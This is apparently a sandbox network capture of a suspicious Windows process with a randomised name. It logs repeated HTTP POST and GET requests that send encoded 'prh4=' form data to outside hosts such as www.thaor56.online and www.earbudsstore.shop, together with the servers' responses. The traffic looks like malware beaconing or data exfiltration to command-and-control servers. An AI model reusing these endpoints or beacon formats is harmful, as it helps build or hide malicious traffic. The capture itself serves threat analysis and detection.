prh4=XddzRFXpS5iIZ930qfOR3/12jIdsJc9PdKTZWF0b0pPg7EoO0Hmp2r+FcXzdiECNz2JiVgdKMVWHALkrWWCUH0f7lGrAPaWcNNzHVQUzSmFB58Yk3KpA5QQcNZEnq5+kktWcJMxDn0HznFNbYtbjzXK0a9Bup1LJYHBSWV/E/vGfAy0oIUwWLJ7awYx0
Nov 20, 2024 09:23:40.821815968 CET	1236	IN	HTTP/1.1 404 Not Found Cache-Control: private, no-cache, no-store, must-revalidate, max-age=0 Content-Length: 1251 Content-Type: text/html Date: Wed, 20 Nov 2024 08:23:40 GMT Pragma: no-cache Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div><div style="color:#f0f0f0; font-size:12px;margin:auto;padding:0px 30px 0px 30px;position:relative;clear:both;height:100px;margin-top:-101px;background-color:#474747;border-top: 1px solid rgba(0,0,0,0.15);box-shadow: 0 1px 0 rgba(25 [TRUNCATED]
Nov 20, 2024 09:23:40.822134972 CET	234	IN	Data Raw: 35 2c 20 32 35 35 2c 20 30 2e 33 29 20 69 6e 73 65 74 3b 22 3e 0a 3c 62 72 3e 50 72 6f 75 64 6c 79 20 70 6f 77 65 72 65 64 20 62 79 20 4c 69 74 65 53 70 65 65 64 20 57 65 62 20 53 65 72 76 65 72 3c 70 3e 50 6c 65 61 73 65 20 62 65 20 61 64 76 69 Data Ascii: 5, 255, 0.3) inset;"><br>Proudly powered by LiteSpeed Web Server<p>Please be advised that LiteSpeed Technologies Inc. is not a web hosting company and, as such, has no control over content found on this site.</p></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.10	49986	202.92.5.23	80	6808	C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 09:23:42.432723999 CET	777	OUT	POST /cboa/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Host: www.thaor56.online Origin: http://www.thaor56.online Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Content-Length: 217 Connection: close Referer: http://www.thaor56.online/cboa/ User-Agent: Mozilla/5.0 (Windows NT 6.2; ARM; Trident/7.0; Touch; rv:11.0; WPDesktop; Lumia 521) like Gecko Data Raw: 70 72 68 34 3d 58 64 64 7a 52 46 58 70 53 35 69 49 5a 63 48 30 6d 65 4f 52 2f 2f 31 78 6d 49 64 73 53 4d 39 78 64 4b 50 5a 57 41 4d 78 30 37 72 67 38 68 55 4f 37 6c 65 70 78 72 2b 46 49 48 7a 63 68 30 43 57 7a 32 45 64 56 6c 64 4b 4d 56 43 48 41 4a 38 72 58 6c 71 58 45 45 66 35 77 57 72 43 42 36 57 63 4e 4e 7a 48 56 51 41 5a 53 6d 4e 42 34 4d 49 6b 34 4c 70 66 6c 67 51 66 45 35 45 6e 75 35 2b 6f 6b 74 57 69 4a 4e 74 35 6e 32 50 7a 6e 45 39 62 62 38 62 67 6f 48 4b 75 55 64 42 2f 36 33 37 4d 58 6d 56 53 5a 56 54 63 6f 38 47 30 4f 7a 4a 76 5a 46 52 42 59 2b 6e 55 2b 65 45 65 76 49 69 43 5a 5a 62 35 2f 57 74 66 39 44 43 58 75 4d 76 70 47 51 3d 3d Data Ascii: prh4=XddzRFXpS5iIZcH0meOR//1xmIdsSM9xdKPZWAMx07rg8hUO7lepxr+FIHzch0CWz2EdVldKMVCHAJ8rXlqXEEf5wWrCB6WcNNzHVQAZSmNB4MIk4LpflgQfE5Enu5+oktWiJNt5n2PznE9bb8bgoHKuUdB/637MXmVSZVTco8G0OzJvZFRBY+nU+eEevIiCZZb5/Wtf9DCXuMvpGQ==
Nov 20, 2024 09:23:43.374948978 CET	1236	IN	HTTP/1.1 404 Not Found Cache-Control: private, no-cache, no-store, must-revalidate, max-age=0 Content-Length: 1251 Content-Type: text/html Date: Wed, 20 Nov 2024 08:23:43 GMT Pragma: no-cache Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div><div style="color:#f0f0f0; font-size:12px;margin:auto;padding:0px 30px 0px 30px;position:relative;clear:both;height:100px;margin-top:-101px;background-color:#474747;border-top: 1px solid rgba(0,0,0,0.15);box-shadow: 0 1px 0 rgba(25 [TRUNCATED]
Nov 20, 2024 09:23:43.375422955 CET	234	IN	Data Raw: 35 2c 20 32 35 35 2c 20 30 2e 33 29 20 69 6e 73 65 74 3b 22 3e 0a 3c 62 72 3e 50 72 6f 75 64 6c 79 20 70 6f 77 65 72 65 64 20 62 79 20 4c 69 74 65 53 70 65 65 64 20 57 65 62 20 53 65 72 76 65 72 3c 70 3e 50 6c 65 61 73 65 20 62 65 20 61 64 76 69 Data Ascii: 5, 255, 0.3) inset;"><br>Proudly powered by LiteSpeed Web Server<p>Please be advised that LiteSpeed Technologies Inc. is not a web hosting company and, as such, has no control over content found on this site.</p></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.10	49987	202.92.5.23	80	6808	C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 09:23:44.979999065 CET	1790	OUT	POST /cboa/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Host: www.thaor56.online Origin: http://www.thaor56.online Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Content-Length: 1229 Connection: close Referer: http://www.thaor56.online/cboa/ User-Agent: Mozilla/5.0 (Windows NT 6.2; ARM; Trident/7.0; Touch; rv:11.0; WPDesktop; Lumia 521) like Gecko Data Raw: 70 72 68 34 3d 58 64 64 7a 52 46 58 70 53 35 69 49 5a 63 48 30 6d 65 4f 52 2f 2f 31 78 6d 49 64 73 53 4d 39 78 64 4b 50 5a 57 41 4d 78 30 37 6a 67 38 58 67 4f 36 45 65 70 77 72 2b 46 4c 48 7a 52 68 30 44 57 7a 32 63 5a 56 6c 68 30 4d 58 36 48 47 71 30 72 51 55 71 58 66 55 66 35 79 57 72 42 50 61 58 42 4e 4a 58 44 56 51 51 5a 53 6d 4e 42 34 4b 4d 6b 78 36 70 66 32 77 51 63 4e 5a 46 6f 71 35 2f 42 6b 74 50 5a 4a 4e 59 62 6e 6e 76 7a 6e 6b 74 62 55 75 44 67 31 58 4b 6f 58 64 41 69 36 33 32 63 58 69 38 70 5a 56 57 4c 6f 38 75 30 4b 6b 4d 32 4f 6b 42 33 50 65 36 50 77 49 4d 6a 68 73 79 64 44 59 57 4e 2f 6b 77 46 69 69 66 64 6f 4f 6d 2f 61 77 59 49 37 55 70 74 44 41 6d 79 76 32 41 69 6f 55 34 6a 50 39 67 34 32 4e 2b 59 69 6e 30 36 35 69 54 61 72 68 75 54 38 62 6b 77 64 46 57 7a 34 44 38 4b 54 30 74 4f 63 49 4f 47 46 74 78 41 50 54 7a 2b 68 47 76 56 74 46 37 4a 34 32 31 57 53 46 5a 44 47 2f 2f 49 76 70 39 6c 57 4a 37 36 34 44 7a 6d 54 63 59 56 33 6c 55 6e 5a 4c 50 74 58 31 62 55 78 67 38 5a 67 76 36 58 2b [TRUNCATED] Data Ascii: prh4=XddzRFXpS5iIZcH0meOR//1xmIdsSM9xdKPZWAMx07jg8XgO6Eepwr+FLHzRh0DWz2cZVlh0MX6HGq0rQUqXfUf5yWrBPaXBNJXDVQQZSmNB4KMkx6pf2wQcNZFoq5/BktPZJNYbnnvznktbUuDg1XKoXdAi632cXi8pZVWLo8u0KkM2OkB3Pe6PwIMjhsydDYWN/kwFiifdoOm/awYI7UptDAmyv2AioU4jP9g42N+Yin065iTarhuT8bkwdFWz4D8KT0tOcIOGFtxAPTz+hGvVtF7J421WSFZDG//Ivp9lWJ764DzmTcYV3lUnZLPtX1bUxg8Zgv6X+9fG03fY12bbqlcRK4yJA6nzE8878oanEnhZ0oK+EqnDG7ZEFdhLq4y1S5Rm81htbwMF6sZN/5jqzjakUhhgS3hOXEo33yor5jbIJ1xGzXjAKN2Lszv9PCg58kW3zshBAK36ovzuoU1TkIzFgZPmn67OFxVONGN/mt6vGV2atxyhCCkioAaIUWKXWvjATPgs3LoIxGPQlUqTgew/QAN/AN6YZ1SxdKwA1kLsP/7ivm/Wrvh9pSMOjUEDiYaW1uLoKMu9oh8cUrgrANS4qGJxIxgE5sExdsd0nTq99Tz++pRUkIMKko246PeFd8ZJvh5y2B7w40HFU3mdBrpshIU6AWRN7nMeMQaJCbC1M6L/DwZM6ZimDucoAnPLV3q07+sw7ia89qA0c2cPR3BJvHSCEe2XoYqordijiNmACYRivVGo4bIUoScG3wGmuCT4OsKXnyWRVwPvi3YUjA4jCbmR5w4HNca5X16kA1VuQTLQFpjCqupNtehOiqGrLaqfByJfwm+Zjrt4egz7431Jgs30YKEhniEsHsoF5HglvEAW7Xk25S2KpYysxtA09vQuuCibaPCrDdq+BTzdlQKHM5DAD3h0T9OF9wfm7Ve1Ix8vrAxUC4Q5YP04uaef1MUMMBq90khXXhoOm+XLcc/xzOar4fIra+PTvE4RbVy [TRUNCATED]
Nov 20, 2024 09:23:45.900249004 CET	1236	IN	HTTP/1.1 404 Not Found Cache-Control: private, no-cache, no-store, must-revalidate, max-age=0 Content-Length: 1251 Content-Type: text/html Date: Wed, 20 Nov 2024 08:23:45 GMT Pragma: no-cache Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div><div style="color:#f0f0f0; font-size:12px;margin:auto;padding:0px 30px 0px 30px;position:relative;clear:both;height:100px;margin-top:-101px;background-color:#474747;border-top: 1px solid rgba(0,0,0,0.15);box-shadow: 0 1px 0 rgba(25 [TRUNCATED]
Nov 20, 2024 09:23:45.900316954 CET	234	IN	Data Raw: 35 2c 20 32 35 35 2c 20 30 2e 33 29 20 69 6e 73 65 74 3b 22 3e 0a 3c 62 72 3e 50 72 6f 75 64 6c 79 20 70 6f 77 65 72 65 64 20 62 79 20 4c 69 74 65 53 70 65 65 64 20 57 65 62 20 53 65 72 76 65 72 3c 70 3e 50 6c 65 61 73 65 20 62 65 20 61 64 76 69 Data Ascii: 5, 255, 0.3) inset;"><br>Proudly powered by LiteSpeed Web Server<p>Please be advised that LiteSpeed Technologies Inc. is not a web hosting company and, as such, has no control over content found on this site.</p></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.10	49988	202.92.5.23	80	6808	C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 09:23:47.522109985 CET	495	OUT	GET /cboa/?prh4=af1TSyH9ZKWDWOLime6W6+N8m41wPvg6MbDiaGUzr5LnkxoPx276h77cE37euV2f02htPG9gF0GAKqxhPgTdbhPG43TCObvDHb/CcXEoGnF55JIhuw==&_VK8=7pXD8zQxGFxP HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.thaor56.online Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.2; ARM; Trident/7.0; Touch; rv:11.0; WPDesktop; Lumia 521) like Gecko
Nov 20, 2024 09:23:48.478888988 CET	1236	IN	HTTP/1.1 404 Not Found Cache-Control: private, no-cache, no-store, must-revalidate, max-age=0 Content-Length: 1251 Content-Type: text/html Date: Wed, 20 Nov 2024 08:23:48 GMT Pragma: no-cache Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div><div style="color:#f0f0f0; font-size:12px;margin:auto;padding:0px 30px 0px 30px;position:relative;clear:both;height:100px;margin-top:-101px;background-color:#474747;border-top: 1px solid rgba(0,0,0,0.15);box-shadow: 0 1px 0 rgba(25 [TRUNCATED]
Nov 20, 2024 09:23:48.478913069 CET	234	IN	Data Raw: 35 2c 20 32 35 35 2c 20 30 2e 33 29 20 69 6e 73 65 74 3b 22 3e 0a 3c 62 72 3e 50 72 6f 75 64 6c 79 20 70 6f 77 65 72 65 64 20 62 79 20 4c 69 74 65 53 70 65 65 64 20 57 65 62 20 53 65 72 76 65 72 3c 70 3e 50 6c 65 61 73 65 20 62 65 20 61 64 76 69 Data Ascii: 5, 255, 0.3) inset;"><br>Proudly powered by LiteSpeed Web Server<p>Please be advised that LiteSpeed Technologies Inc. is not a web hosting company and, as such, has no control over content found on this site.</p></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.10	49989	194.195.220.41	80	6808	C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 09:23:53.662223101 CET	762	OUT	POST /0gis/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Host: www.earbudsstore.shop Origin: http://www.earbudsstore.shop Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Content-Length: 193 Connection: close Referer: http://www.earbudsstore.shop/0gis/ User-Agent: Mozilla/5.0 (Windows NT 6.2; ARM; Trident/7.0; Touch; rv:11.0; WPDesktop; Lumia 521) like Gecko Data Raw: 70 72 68 34 3d 58 4f 44 38 6a 49 2f 6d 36 56 2f 36 5a 71 54 36 57 38 75 78 30 44 48 39 7a 32 46 76 6c 38 4f 45 76 54 64 75 45 46 6a 42 32 4d 7a 2f 47 6e 6b 4c 52 6e 35 58 35 32 68 4b 67 4c 38 56 65 53 4d 31 36 49 49 6d 4e 6c 62 42 59 33 6d 59 6f 55 5a 4d 6c 65 65 57 56 45 62 4f 57 48 38 2b 51 4e 5a 69 39 41 34 73 53 34 57 54 4e 34 30 7a 51 78 67 64 58 78 32 54 50 58 4b 54 49 69 65 32 46 66 6c 6e 2b 49 35 68 66 41 4b 69 67 42 2b 69 43 77 41 33 34 6f 4b 6c 45 42 67 35 72 52 36 62 68 49 67 69 57 43 54 4d 6d 4a 30 6b 33 37 38 49 55 6d 30 62 70 54 4a 57 63 63 73 63 4e 48 30 5a Data Ascii: prh4=XOD8jI/m6V/6ZqT6W8ux0DH9z2Fvl8OEvTduEFjB2Mz/GnkLRn5X52hKgL8VeSM16IImNlbBY3mYoUZMleeWVEbOWH8+QNZi9A4sS4WTN40zQxgdXx2TPXKTIie2Ffln+I5hfAKigB+iCwA34oKlEBg5rR6bhIgiWCTMmJ0k378IUm0bpTJWccscNH0Z
Nov 20, 2024 09:23:54.162729979 CET	875	IN	HTTP/1.1 200 OK Server: openresty/1.13.6.1 Date: Wed, 20 Nov 2024 08:23:54 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Content-Encoding: gzip Data Raw: 32 61 62 0d 0a 1f 8b 08 00 00 00 00 00 00 03 95 94 5b 73 a2 30 14 80 df fb 2b 58 1e 3a bb 33 ab 5c d4 5a b7 d0 1d 7b d1 e2 60 ed 54 ab c0 4b 27 24 29 89 0d 09 85 20 e2 ce fe f7 45 ec 56 77 ec cb e6 81 e4 9c 93 73 fb 12 62 7d b9 99 5c cf fc 87 5b 85 c8 98 5d 9e 58 db 49 61 80 47 b6 8a b9 7a 79 a2 54 c3 22 18 a0 dd b2 16 63 2c 81 02 09 48 33 2c 6d f5 69 36 68 9c bf ef dc 9b 89 94 49 03 bf e5 74 65 ab eb 46 0e 1a 50 c4 09 90 34 64 58 55 a0 e0 12 f3 ca d7 b9 b5 31 8a f0 91 37 07 31 b6 d5 15 c5 45 22 52 79 e0 50 50 24 89 8d f0 8a 42 dc a8 85 ef 0a e5 54 52 c0 1a 19 04 0c db 46 53 3f 0c 27 a9 64 f8 d2 d2 76 73 dd 4e 5d 24 17 19 4c 69 22 f7 6d 7d 5e 7b 8a 5f 52 9c 91 83 12 f4 8b 3c 65 f6 b6 bf 1f 9a 56 14 45 57 6f 62 90 86 39 ca 32 29 52 dc cc 88 48 34 55 d1 f6 91 2d ed 38 9b 55 43 3c a4 74 9c a9 f3 5f 99 2c 6d 7f 4c 56 28 50 a9 08 ce 04 40 b6 8a c4 f3 6e f9 f5 db 21 9a 1d 00 45 96 49 c5 5a e2 b5 d4 96 60 05 76 da 83 7d 5b 2e 2f 39 87 92 0a ae 1c 84 52 7e 7d d0 dc 6e d9 8e 82 72 24 8a a6 14 49 93 09 58 9d [TRUNCATED] Data Ascii: 2ab[s0+X:3\Z{`TK'$) EVwsb}\[]XIaGzyT"c,H3,mi6hIteFP4dXU171E"RyPP$BTRFS?'dvsN]$Li"m}^{_R<eVEWob92)RH4U-8UC<t_,mLV(P@n!EIZ`v}[./9R~}nr$IXMR.=(eV}"Lgv5:vIp(q92`J'O}{#Kvj8Fn$c1+B-7~2v6`+ZDN<X@xDwM""=&^aOu,z"2Y?LI`#(f;d_ y?egz.d<bMBI9 oxo/Q663XNv6=T1u9\.7K^g'Bn0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.10	49990	194.195.220.41	80	6808	C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 09:23:56.214131117 CET	786	OUT	POST /0gis/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Host: www.earbudsstore.shop Origin: http://www.earbudsstore.shop Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Content-Length: 217 Connection: close Referer: http://www.earbudsstore.shop/0gis/ User-Agent: Mozilla/5.0 (Windows NT 6.2; ARM; Trident/7.0; Touch; rv:11.0; WPDesktop; Lumia 521) like Gecko Data Raw: 70 72 68 34 3d 58 4f 44 38 6a 49 2f 6d 36 56 2f 36 57 71 6a 36 46 50 47 78 6a 7a 48 38 76 6d 46 76 72 63 4f 41 76 54 68 75 45 42 37 52 32 5a 6a 2f 47 43 41 4c 4c 6d 35 58 36 32 68 4b 76 72 38 63 61 53 4d 75 36 49 45 55 4e 6e 50 42 59 33 69 59 6f 56 70 4d 6d 76 65 58 48 6b 62 41 65 6e 38 38 55 4e 5a 69 39 41 34 73 53 37 71 35 4e 34 63 7a 54 42 51 64 57 56 69 55 4a 6e 4b 51 42 43 65 32 42 66 6c 6a 2b 49 34 45 66 45 4c 46 67 45 69 69 43 78 51 33 35 36 79 6d 4e 42 67 2f 76 52 37 6c 73 6f 38 76 62 42 37 4b 6e 70 30 77 32 59 4d 37 58 48 4a 63 34 43 6f 42 50 72 77 53 44 42 42 7a 2b 69 35 74 5a 70 2b 70 76 6b 30 58 72 65 61 30 69 5a 57 54 41 67 3d 3d Data Ascii: prh4=XOD8jI/m6V/6Wqj6FPGxjzH8vmFvrcOAvThuEB7R2Zj/GCALLm5X62hKvr8caSMu6IEUNnPBY3iYoVpMmveXHkbAen88UNZi9A4sS7q5N4czTBQdWViUJnKQBCe2Bflj+I4EfELFgEiiCxQ356ymNBg/vR7lso8vbB7Knp0w2YM7XHJc4CoBPrwSDBBz+i5tZp+pvk0Xrea0iZWTAg==
